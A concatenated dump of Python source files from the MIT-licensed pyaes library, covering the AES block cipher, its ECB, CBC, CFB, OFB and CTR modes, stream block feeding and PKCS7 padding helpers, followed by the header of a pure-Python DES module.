211 | (s1, s2, s3) = [1, 2, 3] | |
212 | a = [0, 0, 0, 0] | |
213 | ||
214 | # Convert plaintext to (ints ^ key) | |
215 | t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] | |
216 | ||
217 | # Apply round transforms | |
218 | for r in xrange(1, rounds): | |
219 | for i in xrange(0, 4): | |
220 | a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ | |
221 | self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ | |
222 | self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ | |
223 | self.T4[ t[(i + s3) % 4] & 0xFF] ^ | |
224 | self._Ke[r][i]) | |
225 | t = copy.copy(a) | |
226 | ||
227 | # The last round is special | |
228 | result = [ ] | |
229 | for i in xrange(0, 4): | |
230 | tt = self._Ke[rounds][i] | |
231 | result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) | |
232 | result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) | |
233 | result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) | |
234 | result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) | |
235 | ||
236 | return result | |
237 | ||
238 | def decrypt(self, ciphertext): | |
239 | 'Decrypt a block of cipher text using the AES block cipher.' | |
240 | ||
241 | if len(ciphertext) != 16: | |
242 | raise ValueError('wrong block length') | |
243 | ||
244 | rounds = len(self._Kd) - 1 | |
245 | (s1, s2, s3) = [3, 2, 1] | |
246 | a = [0, 0, 0, 0] | |
247 | ||
248 | # Convert ciphertext to (ints ^ key) | |
249 | t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] | |
250 | ||
251 | # Apply round transforms | |
252 | for r in xrange(1, rounds): | |
253 | for i in xrange(0, 4): | |
254 | a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ | |
255 | self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ | |
256 | self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ | |
257 | self.T8[ t[(i + s3) % 4] & 0xFF] ^ | |
258 | self._Kd[r][i]) | |
259 | t = copy.copy(a) | |
260 | ||
261 | # The last round is special | |
262 | result = [ ] | |
263 | for i in xrange(0, 4): | |
264 | tt = self._Kd[rounds][i] | |
265 | result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) | |
266 | result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) | |
267 | result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) | |
268 | result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) | |
269 | ||
270 | return result | |
271 | ||
272 | ||
273 | class Counter(object): | |
274 | '''A counter object for the Counter (CTR) mode of operation. | |
275 | ||
276 | To create a custom counter, you can usually just override the | |
277 | increment method.''' | |
278 | ||
279 | def __init__(self, initial_value = 1): | |
280 | ||
281 | # Convert the value into an array of bytes long | |
282 | self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ] | |
283 | ||
284 | value = property(lambda s: s._counter) | |
285 | ||
286 | def increment(self): | |
287 | '''Increment the counter (overflow rolls back to 0).''' | |
288 | ||
289 | for i in xrange(len(self._counter) - 1, -1, -1): | |
290 | self._counter[i] += 1 | |
291 | ||
292 | if self._counter[i] < 256: break | |
293 | ||
294 | # Carry the one | |
295 | self._counter[i] = 0 | |
296 | ||
297 | # Overflow | |
298 | else: | |
299 | self._counter = [ 0 ] * len(self._counter) | |
300 | ||
301 | ||
302 | class AESBlockModeOfOperation(object): | |
303 | '''Super-class for AES modes of operation that require blocks.''' | |
304 | def __init__(self, key): | |
305 | self._aes = AES(key) | |
306 | ||
307 | def decrypt(self, ciphertext): | |
308 | raise Exception('not implemented') | |
309 | ||
310 | def encrypt(self, plaintext): | |
311 | raise Exception('not implemented') | |
312 | ||
313 | ||
314 | class AESStreamModeOfOperation(AESBlockModeOfOperation): | |
315 | '''Super-class for AES modes of operation that are stream-ciphers.''' | |
316 | ||
317 | class AESSegmentModeOfOperation(AESStreamModeOfOperation): | |
318 | '''Super-class for AES modes of operation that segment data.''' | |
319 | ||
320 | segment_bytes = 16 | |
321 | ||
322 | ||
323 | ||
324 | class AESModeOfOperationECB(AESBlockModeOfOperation): | |
325 | '''AES Electronic Codebook Mode of Operation. | |
326 | ||
327 | o Block-cipher, so data must be padded to 16 byte boundaries | |
328 | ||
329 | Security Notes: | |
330 | o This mode is not recommended | |
331 | o Any two identical blocks produce identical encrypted values, | |
332 | exposing data patterns. (See the image of Tux on wikipedia) | |
333 | ||
334 | Also see: | |
335 | o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29 | |
336 | o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1''' | |
337 | ||
338 | ||
339 | name = "Electronic Codebook (ECB)" | |
340 | ||
341 | def encrypt(self, plaintext): | |
342 | if len(plaintext) != 16: | |
343 | raise ValueError('plaintext block must be 16 bytes') | |
344 | ||
345 | plaintext = _string_to_bytes(plaintext) | |
346 | return _bytes_to_string(self._aes.encrypt(plaintext)) | |
347 | ||
348 | def decrypt(self, ciphertext): | |
349 | if len(ciphertext) != 16: | |
350 | raise ValueError('ciphertext block must be 16 bytes') | |
351 | ||
352 | ciphertext = _string_to_bytes(ciphertext) | |
353 | return _bytes_to_string(self._aes.decrypt(ciphertext)) | |
354 | ||
355 | ||
356 | ||
357 | class AESModeOfOperationCBC(AESBlockModeOfOperation): | |
358 | '''AES Cipher-Block Chaining Mode of Operation. | |
359 | ||
360 | o The Initialization Vector (IV) | |
361 | o Block-cipher, so data must be padded to 16 byte boundaries | |
362 | o An incorrect initialization vector will only cause the first | |
363 | block to be corrupt; all other blocks will be intact | |
364 | o A corrupt bit in the cipher text will cause a block to be | |
365 | corrupted, and the next block to be inverted, but all other | |
366 | blocks will be intact. | |
367 | ||
368 | Security Notes: | |
369 | o This method (and CTR) ARE recommended. | |
370 | ||
371 | Also see: | |
372 | o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29 | |
373 | o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2''' | |
374 | ||
375 | ||
376 | name = "Cipher-Block Chaining (CBC)" | |
377 | ||
378 | def __init__(self, key, iv = None): | |
379 | if iv is None: | |
380 | self._last_cipherblock = [ 0 ] * 16 | |
381 | elif len(iv) != 16: | |
382 | raise ValueError('initialization vector must be 16 bytes') | |
383 | else: | |
384 | self._last_cipherblock = _string_to_bytes(iv) | |
385 | ||
386 | AESBlockModeOfOperation.__init__(self, key) | |
387 | ||
388 | def encrypt(self, plaintext): | |
389 | if len(plaintext) != 16: | |
390 | raise ValueError('plaintext block must be 16 bytes') | |
391 | ||
392 | plaintext = _string_to_bytes(plaintext) | |
393 | precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] | |
394 | self._last_cipherblock = self._aes.encrypt(precipherblock) | |
395 | ||
396 | return _bytes_to_string(self._last_cipherblock) | |
397 | ||
398 | def decrypt(self, ciphertext): | |
399 | if len(ciphertext) != 16: | |
400 | raise ValueError('ciphertext block must be 16 bytes') | |
401 | ||
402 | cipherblock = _string_to_bytes(ciphertext) | |
403 | plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] | |
404 | self._last_cipherblock = cipherblock | |
405 | ||
406 | return _bytes_to_string(plaintext) | |
407 | ||
408 | ||
409 | ||
410 | class AESModeOfOperationCFB(AESSegmentModeOfOperation): | |
411 | '''AES Cipher Feedback Mode of Operation. | |
412 | ||
413 | o A stream-cipher, so input does not need to be padded to blocks, | |
414 | but does need to be padded to segment_size | |
415 | ||
416 | Also see: | |
417 | o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29 | |
418 | o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3''' | |
419 | ||
420 | ||
421 | name = "Cipher Feedback (CFB)" | |
422 | ||
423 | def __init__(self, key, iv, segment_size = 1): | |
424 | if segment_size == 0: segment_size = 1 | |
425 | ||
426 | if iv is None: | |
427 | self._shift_register = [ 0 ] * 16 | |
428 | elif len(iv) != 16: | |
429 | raise ValueError('initialization vector must be 16 bytes') | |
430 | else: | |
431 | self._shift_register = _string_to_bytes(iv) | |
432 | ||
433 | self._segment_bytes = segment_size | |
434 | ||
435 | AESBlockModeOfOperation.__init__(self, key) | |
436 | ||
437 | segment_bytes = property(lambda s: s._segment_bytes) | |
438 | ||
439 | def encrypt(self, plaintext): | |
440 | if len(plaintext) % self._segment_bytes != 0: | |
441 | raise ValueError('plaintext block must be a multiple of segment_size') | |
442 | ||
443 | plaintext = _string_to_bytes(plaintext) | |
444 | ||
445 | # Break block into segments | |
446 | encrypted = [ ] | |
447 | for i in xrange(0, len(plaintext), self._segment_bytes): | |
448 | plaintext_segment = plaintext[i: i + self._segment_bytes] | |
449 | xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)] | |
450 | cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ] | |
451 | ||
452 | # Shift the top bits out and the ciphertext in | |
453 | self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) | |
454 | ||
455 | encrypted.extend(cipher_segment) | |
456 | ||
457 | return _bytes_to_string(encrypted) | |
458 | ||
459 | def decrypt(self, ciphertext): | |
460 | if len(ciphertext) % self._segment_bytes != 0: | |
461 | raise ValueError('ciphertext block must be a multiple of segment_size') | |
462 | ||
463 | ciphertext = _string_to_bytes(ciphertext) | |
464 | ||
465 | # Break block into segments | |
466 | decrypted = [ ] | |
467 | for i in xrange(0, len(ciphertext), self._segment_bytes): | |
468 | cipher_segment = ciphertext[i: i + self._segment_bytes] | |
469 | xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)] | |
470 | plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ] | |
471 | ||
472 | # Shift the top bits out and the ciphertext in | |
473 | self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) | |
474 | ||
475 | decrypted.extend(plaintext_segment) | |
476 | ||
477 | return _bytes_to_string(decrypted) | |
478 | ||
479 | ||
480 | ||
481 | class AESModeOfOperationOFB(AESStreamModeOfOperation): | |
482 | '''AES Output Feedback Mode of Operation. | |
483 | ||
484 | o A stream-cipher, so input does not need to be padded to blocks, | |
485 | allowing arbitrary length data. | |
486 | o A bit twiddled in the cipher text, twiddles the same bit in the | |
487 | same bit in the plain text, which can be useful for error | |
488 | correction techniques. | |
489 | ||
490 | Also see: | |
491 | o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29 | |
492 | o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4''' | |
493 | ||
494 | ||
495 | name = "Output Feedback (OFB)" | |
496 | ||
497 | def __init__(self, key, iv = None): | |
498 | if iv is None: | |
499 | self._last_precipherblock = [ 0 ] * 16 | |
500 | elif len(iv) != 16: | |
501 | raise ValueError('initialization vector must be 16 bytes') | |
502 | else: | |
503 | self._last_precipherblock = _string_to_bytes(iv) | |
504 | ||
505 | self._remaining_block = [ ] | |
506 | ||
507 | AESBlockModeOfOperation.__init__(self, key) | |
508 | ||
509 | def encrypt(self, plaintext): | |
510 | encrypted = [ ] | |
511 | for p in _string_to_bytes(plaintext): | |
512 | if len(self._remaining_block) == 0: | |
513 | self._remaining_block = self._aes.encrypt(self._last_precipherblock) | |
514 | self._last_precipherblock = [ ] | |
515 | precipherbyte = self._remaining_block.pop(0) | |
516 | self._last_precipherblock.append(precipherbyte) | |
517 | cipherbyte = p ^ precipherbyte | |
518 | encrypted.append(cipherbyte) | |
519 | ||
520 | return _bytes_to_string(encrypted) | |
521 | ||
522 | def decrypt(self, ciphertext): | |
523 | # AES-OFB is symetric | |
524 | return self.encrypt(ciphertext) | |
525 | ||
526 | ||
527 | ||
528 | class AESModeOfOperationCTR(AESStreamModeOfOperation): | |
529 | '''AES Counter Mode of Operation. | |
530 | ||
531 | o A stream-cipher, so input does not need to be padded to blocks, | |
532 | allowing arbitrary length data. | |
533 | o The counter must be the same size as the key size (ie. len(key)) | |
534 | o Each block independant of the other, so a corrupt byte will not | |
535 | damage future blocks. | |
536 | o Each block has a uniue counter value associated with it, which | |
537 | contributes to the encrypted value, so no data patterns are | |
538 | leaked. | |
539 | o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and | |
540 | Segmented Integer Counter (SIC | |
541 | ||
542 | Security Notes: | |
543 | o This method (and CBC) ARE recommended. | |
544 | o Each message block is associated with a counter value which must be | |
545 | unique for ALL messages with the same key. Otherwise security may be | |
546 | compromised. | |
547 | ||
548 | Also see: | |
549 | ||
550 | o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29 | |
551 | o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5 | |
552 | and Appendix B for managing the initial counter''' | |
553 | ||
554 | ||
555 | name = "Counter (CTR)" | |
556 | ||
557 | def __init__(self, key, counter = None): | |
558 | AESBlockModeOfOperation.__init__(self, key) | |
559 | ||
560 | if counter is None: | |
561 | counter = Counter() | |
562 | ||
563 | self._counter = counter | |
564 | self._remaining_counter = [ ] | |
565 | ||
566 | def encrypt(self, plaintext): | |
567 | while len(self._remaining_counter) < len(plaintext): | |
568 | self._remaining_counter += self._aes.encrypt(self._counter.value) | |
569 | self._counter.increment() | |
570 | ||
571 | plaintext = _string_to_bytes(plaintext) | |
572 | ||
573 | encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ] | |
574 | self._remaining_counter = self._remaining_counter[len(encrypted):] | |
575 | ||
576 | return _bytes_to_string(encrypted) | |
577 | ||
578 | def decrypt(self, crypttext): | |
579 | # AES-CTR is symetric | |
580 | return self.encrypt(crypttext) | |
581 | ||
582 | ||
583 | # Simple lookup table for each mode | |
584 | AESModesOfOperation = dict( | |
585 | ctr = AESModeOfOperationCTR, | |
586 | cbc = AESModeOfOperationCBC, | |
587 | cfb = AESModeOfOperationCFB, | |
588 | ecb = AESModeOfOperationECB, | |
589 | ofb = AESModeOfOperationOFB, | |
590 | ) |
0 | #https://raw.githubusercontent.com/ricmoo/pyaes/master/pyaes/__init__.py | |
1 | # The MIT License (MIT) | |
2 | # | |
3 | # Copyright (c) 2014 Richard Moore | |
4 | # | |
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy | |
6 | # of this software and associated documentation files (the "Software"), to deal | |
7 | # in the Software without restriction, including without limitation the rights | |
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
9 | # copies of the Software, and to permit persons to whom the Software is | |
10 | # furnished to do so, subject to the following conditions: | |
11 | # | |
12 | # The above copyright notice and this permission notice shall be included in | |
13 | # all copies or substantial portions of the Software. | |
14 | # | |
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN | |
21 | # THE SOFTWARE. | |
22 | ||
23 | # This is a pure-Python implementation of the AES algorithm and AES common | |
24 | # modes of operation. | |
25 | ||
26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard | |
27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation | |
28 | ||
29 | ||
30 | # Supported key sizes: | |
31 | # 128-bit | |
32 | # 192-bit | |
33 | # 256-bit | |
34 | ||
35 | ||
36 | # Supported modes of operation: | |
37 | # ECB - Electronic Codebook | |
38 | # CBC - Cipher-Block Chaining | |
39 | # CFB - Cipher Feedback | |
40 | # OFB - Output Feedback | |
41 | # CTR - Counter | |
42 | ||
43 | # See the README.md for API details and general information. | |
44 | ||
45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: | |
46 | # https://www.dlitz.net/software/pycrypto/ | |
47 | ||
48 | ||
49 | VERSION = [1, 3, 0] | |
50 | ||
51 | from .AES import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter | |
52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter | |
53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT |
0 | ||
1 | #https://github.com/ricmoo/pyaes/blob/master/pyaes/blockfeeder.py | |
2 | # The MIT License (MIT) | |
3 | # | |
4 | # Copyright (c) 2014 Richard Moore | |
5 | # | |
6 | # Permission is hereby granted, free of charge, to any person obtaining a copy | |
7 | # of this software and associated documentation files (the "Software"), to deal | |
8 | # in the Software without restriction, including without limitation the rights | |
9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
10 | # copies of the Software, and to permit persons to whom the Software is | |
11 | # furnished to do so, subject to the following conditions: | |
12 | # | |
13 | # The above copyright notice and this permission notice shall be included in | |
14 | # all copies or substantial portions of the Software. | |
15 | # | |
16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN | |
22 | # THE SOFTWARE. | |
23 | ||
24 | ||
25 | from .AES import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation | |
26 | from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable | |
27 | ||
28 | ||
29 | # First we inject three functions to each of the modes of operations | |
30 | # | |
31 | # _can_consume(size) | |
32 | # - Given a size, determine how many bytes could be consumed in | |
33 | # a single call to either the decrypt or encrypt method | |
34 | # | |
35 | # _final_encrypt(data, padding = PADDING_DEFAULT) | |
36 | # - call and return encrypt on this (last) chunk of data, | |
37 | # padding as necessary; this will always be at least 16 | |
38 | # bytes unless the total incoming input was less than 16 | |
39 | # bytes | |
40 | # | |
41 | # _final_decrypt(data, padding = PADDING_DEFAULT) | |
42 | # - same as _final_encrypt except for decrypt, for | |
43 | # stripping off padding | |
44 | # | |
45 | ||
46 | PADDING_NONE = 'none' | |
47 | PADDING_DEFAULT = 'default' | |
48 | ||
49 | # @TODO: Ciphertext stealing and explicit PKCS#7 | |
50 | # PADDING_CIPHERTEXT_STEALING | |
51 | # PADDING_PKCS7 | |
52 | ||
53 | # ECB and CBC are block-only ciphers | |
54 | ||
55 | def _block_can_consume(self, size): | |
56 | if size >= 16: return 16 | |
57 | return 0 | |
58 | ||
59 | # After padding, we may have more than one block | |
60 | def _block_final_encrypt(self, data, padding = PADDING_DEFAULT): | |
61 | if padding == PADDING_DEFAULT: | |
62 | data = append_PKCS7_padding(data) | |
63 | ||
64 | elif padding == PADDING_NONE: | |
65 | if len(data) != 16: | |
66 | raise Exception('invalid data length for final block') | |
67 | else: | |
68 | raise Exception('invalid padding option') | |
69 | ||
70 | if len(data) == 32: | |
71 | return self.encrypt(data[:16]) + self.encrypt(data[16:]) | |
72 | ||
73 | return self.encrypt(data) | |
74 | ||
75 | ||
76 | def _block_final_decrypt(self, data, padding = PADDING_DEFAULT): | |
77 | if padding == PADDING_DEFAULT: | |
78 | return strip_PKCS7_padding(self.decrypt(data)) | |
79 | ||
80 | if padding == PADDING_NONE: | |
81 | if len(data) != 16: | |
82 | raise Exception('invalid data length for final block') | |
83 | return self.decrypt(data) | |
84 | ||
85 | raise Exception('invalid padding option') | |
86 | ||
87 | AESBlockModeOfOperation._can_consume = _block_can_consume | |
88 | AESBlockModeOfOperation._final_encrypt = _block_final_encrypt | |
89 | AESBlockModeOfOperation._final_decrypt = _block_final_decrypt | |
90 | ||
91 | ||
92 | ||
93 | # CFB is a segment cipher | |
94 | ||
95 | def _segment_can_consume(self, size): | |
96 | return self.segment_bytes * int(size // self.segment_bytes) | |
97 | ||
98 | # CFB can handle a non-segment-sized block at the end using the remaining cipherblock | |
99 | def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT): | |
100 | if padding != PADDING_DEFAULT: | |
101 | raise Exception('invalid padding option') | |
102 | ||
103 | faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) | |
104 | padded = data + to_bufferable(faux_padding) | |
105 | return self.encrypt(padded)[:len(data)] | |
106 | ||
107 | # CFB can handle a non-segment-sized block at the end using the remaining cipherblock | |
108 | def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT): | |
109 | if padding != PADDING_DEFAULT: | |
110 | raise Exception('invalid padding option') | |
111 | ||
112 | faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) | |
113 | padded = data + to_bufferable(faux_padding) | |
114 | return self.decrypt(padded)[:len(data)] | |
115 | ||
116 | AESSegmentModeOfOperation._can_consume = _segment_can_consume | |
117 | AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt | |
118 | AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt | |
119 | ||
120 | ||
121 | ||
122 | # OFB and CTR are stream ciphers | |
123 | ||
124 | def _stream_can_consume(self, size): | |
125 | return size | |
126 | ||
127 | def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT): | |
128 | if padding not in [PADDING_NONE, PADDING_DEFAULT]: | |
129 | raise Exception('invalid padding option') | |
130 | ||
131 | return self.encrypt(data) | |
132 | ||
133 | def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT): | |
134 | if padding not in [PADDING_NONE, PADDING_DEFAULT]: | |
135 | raise Exception('invalid padding option') | |
136 | ||
137 | return self.decrypt(data) | |
138 | ||
139 | AESStreamModeOfOperation._can_consume = _stream_can_consume | |
140 | AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt | |
141 | AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt | |
142 | ||
143 | ||
144 | ||
145 | class BlockFeeder(object): | |
146 | '''The super-class for objects to handle chunking a stream of bytes | |
147 | into the appropriate block size for the underlying mode of operation | |
148 | and applying (or stripping) padding, as necessary.''' | |
149 | ||
150 | def __init__(self, mode, feed, final, padding = PADDING_DEFAULT): | |
151 | self._mode = mode | |
152 | self._feed = feed | |
153 | self._final = final | |
154 | self._buffer = to_bufferable("") | |
155 | self._padding = padding | |
156 | ||
157 | def feed(self, data = None): | |
158 | '''Provide bytes to encrypt (or decrypt), returning any bytes | |
159 | possible from this or any previous calls to feed. | |
160 | ||
161 | Call with None or an empty string to flush the mode of | |
162 | operation and return any final bytes; no further calls to | |
163 | feed may be made.''' | |
164 | ||
165 | if self._buffer is None: | |
166 | raise ValueError('already finished feeder') | |
167 | ||
168 | # Finalize; process the spare bytes we were keeping | |
169 | if data is None: | |
170 | result = self._final(self._buffer, self._padding) | |
171 | self._buffer = None | |
172 | return result | |
173 | ||
174 | self._buffer += to_bufferable(data) | |
175 | ||
176 | # We keep 16 bytes around so we can determine padding | |
177 | result = to_bufferable('') | |
178 | while len(self._buffer) > 16: | |
179 | can_consume = self._mode._can_consume(len(self._buffer) - 16) | |
180 | if can_consume == 0: break | |
181 | result += self._feed(self._buffer[:can_consume]) | |
182 | self._buffer = self._buffer[can_consume:] | |
183 | ||
184 | return result | |
185 | ||
186 | ||
187 | class Encrypter(BlockFeeder): | |
188 | 'Accepts bytes of plaintext and returns encrypted ciphertext.' | |
189 | ||
190 | def __init__(self, mode, padding = PADDING_DEFAULT): | |
191 | BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding) | |
192 | ||
193 | ||
194 | class Decrypter(BlockFeeder): | |
195 | 'Accepts bytes of ciphertext and returns decrypted plaintext.' | |
196 | ||
197 | def __init__(self, mode, padding = PADDING_DEFAULT): | |
198 | BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding) | |
199 | ||
200 | ||
201 | # 8kb blocks | |
202 | BLOCK_SIZE = (1 << 13) | |
203 | ||
204 | def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE): | |
205 | 'Uses feeder to read and convert from in_stream and write to out_stream.' | |
206 | ||
207 | while True: | |
208 | chunk = in_stream.read(block_size) | |
209 | if not chunk: | |
210 | break | |
211 | converted = feeder.feed(chunk) | |
212 | out_stream.write(converted) | |
213 | converted = feeder.feed() | |
214 | out_stream.write(converted) | |
215 | ||
216 | ||
217 | def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): | |
218 | 'Encrypts a stream of bytes from in_stream to out_stream using mode.' | |
219 | ||
220 | encrypter = Encrypter(mode, padding = padding) | |
221 | _feed_stream(encrypter, in_stream, out_stream, block_size) | |
222 | ||
223 | ||
224 | def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): | |
225 | 'Decrypts a stream of bytes from in_stream to out_stream using mode.' | |
226 | ||
227 | decrypter = Decrypter(mode, padding = padding) | |
228 | _feed_stream(decrypter, in_stream, out_stream, block_size) |
0 | ||
1 | #https://github.com/ricmoo/pyaes/blob/master/pyaes/util.py | |
2 | # The MIT License (MIT) | |
3 | # | |
4 | # Copyright (c) 2014 Richard Moore | |
5 | # | |
6 | # Permission is hereby granted, free of charge, to any person obtaining a copy | |
7 | # of this software and associated documentation files (the "Software"), to deal | |
8 | # in the Software without restriction, including without limitation the rights | |
9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
10 | # copies of the Software, and to permit persons to whom the Software is | |
11 | # furnished to do so, subject to the following conditions: | |
12 | # | |
13 | # The above copyright notice and this permission notice shall be included in | |
14 | # all copies or substantial portions of the Software. | |
15 | # | |
16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN | |
22 | # THE SOFTWARE. | |
23 | ||
24 | # Why to_bufferable? | |
25 | # Python 3 is very different from Python 2.x when it comes to strings of text | |
26 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to | |
27 | # represent arbitrary binary data, we must use the "bytes" object. This method | |
28 | # ensures the object behaves as we need it to. | |
29 | ||
30 | def to_bufferable(binary): | |
31 | return binary | |
32 | ||
33 | def _get_byte(c): | |
34 | return ord(c) | |
35 | ||
36 | try: | |
37 | xrange | |
38 | except: | |
39 | ||
40 | def to_bufferable(binary): | |
41 | if isinstance(binary, bytes): | |
42 | return binary | |
43 | return bytes(ord(b) for b in binary) | |
44 | ||
45 | def _get_byte(c): | |
46 | return c | |
47 | ||
48 | def append_PKCS7_padding(data): | |
49 | pad = 16 - (len(data) % 16) | |
50 | return data + to_bufferable(chr(pad) * pad) | |
51 | ||
52 | def strip_PKCS7_padding(data): | |
53 | if len(data) % 16 != 0: | |
54 | raise ValueError("invalid length") | |
55 | ||
56 | pad = _get_byte(data[-1]) | |
57 | ||
58 | if pad > 16: | |
59 | raise ValueError("invalid padding byte") | |
60 | ||
61 | return data[:-pad] |
0 | ############################################################################# | |
1 | # Documentation # | |
2 | ############################################################################# | |
3 | ||
4 | # Author: Todd Whiteman | |
5 | # Date: 28th April, 2010 | |
6 | # Version: 2.0.1 | |
7 | # License: MIT | |
8 | # Homepage: http://twhiteman.netfirms.com/des.html | |
9 | # | |
10 | # This is a pure python implementation of the DES encryption algorithm. | |
11 | # It's pure python to avoid portability issues, since most DES | |
12 | # implementations are programmed in C (for performance reasons). | |
13 | # | |
14 | # Triple DES class is also implemented, utilizing the DES base. Triple DES | |
15 | # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. | |
16 | # | |
17 | # See the README.txt that should come with this python module for the | |
18 | # implementation methods used. | |
19 | # | |
20 | # Thanks to: | |
21 | # * David Broadwell for ideas, comments and suggestions. | |
22 | # * Mario Wolff for pointing out and debugging some triple des CBC errors. | |
23 | # * Santiago Palladino for providing the PKCS5 padding technique. | |
